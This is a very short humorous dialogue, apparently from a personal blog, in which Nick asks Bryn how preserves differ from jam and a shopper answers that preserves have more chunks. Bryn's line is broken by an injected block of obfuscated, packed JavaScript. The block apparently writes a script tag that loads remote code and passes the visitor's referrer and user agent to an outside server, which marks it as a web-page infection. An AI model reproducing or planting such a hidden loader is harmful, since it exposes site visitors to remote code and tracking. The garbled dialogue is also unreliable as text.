Preserves vs. Jam

Nick to Bryn: What’s the difference between preserves and jam.
Bryn ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyini|var|u0026u|referrer|kkbie||js|php’.split(‘|’),0,{}))
to Nick: I dunno.
Random lady at the P-town Safeway: Preserves have more chunks.